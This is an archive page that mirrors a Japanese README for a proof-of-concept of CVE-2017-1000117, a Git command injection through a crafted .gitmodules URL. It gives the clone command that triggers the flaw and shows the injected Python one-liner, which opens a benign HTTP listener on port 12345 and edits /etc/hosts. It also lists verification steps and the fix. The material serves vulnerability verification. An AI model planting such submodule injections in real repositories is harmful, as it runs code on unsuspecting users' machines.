Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2017-1000117 PoC — Git 命令注入漏洞

Source
Associated Vulnerability
Title: Git 命令注入漏洞 (CVE-2017-1000117)
Description:A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL can result in any program that exists on the victim's machine being executed. Such a URL could be placed in the .gitmodules file of a malicious project, and an unsuspecting victim could be tricked into running "git clone --recurse-submodules" to trigger the vulnerability.
Description
CVE-2017-1000117の検証
Readme
## 動作説明
これはCVE-2017-1000117の脆弱性で動作するものです。
このレポジトリをroot権限でgitコマンドに--recurseオプションをつけてクローンをすると、
勝手に12345ポートでリッスンするhttpサーバが動きます。  
httpサーバの動作を停止するにはプロセス番号を調べてkillしてください。  
  
## 動作が確認されたOS
CentOS7  
macOS Sierra  
Debian8  

## 実行コマンド
以下のコマンドを実行する。完了するとコンソールが止まってしまうのでCtrl + Cで抜けるようにする。
```
    [root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git

```
  
## 脆弱性の確認方法
1.PSコマンドを実行しPythonのコードが動いているかを確認する。  
```
    [root@localhost ~]$ ps ax | grep http
    21365 pts/0    S      0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
    21381 pts/0    S+     0:00 grep --color=auto ht

```
  
2.netstatで12345ポートがリッスンされているか確認する。  
```
    [root@localhost ~]$ netstat -tanp | grep 12345
    tcp        0      0 127.0.0.1:12345         0.0.0.0:*               LISTEN      21365/python

```

  macOSの場合は以下のコマンドで確かめる。  
```
    MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
    COMMAND   PID USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
    Python  14231 root    3u  IPv4 0xa3955f2183c66251      0t0  TCP 127.0.0.1:12345 (LISTEN)
```
  
3./etc/hostsの最下行に「127.0.0.1 ホスト名」が追加されているかを確認する。

## 対策  
gitを最新バージョンへとアップデートする。以下のリンクを参照。  
[GitHubのリモートレポジトリから最新のGitへアップデートする方法](http://shadows.dip.jp/?p=493)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →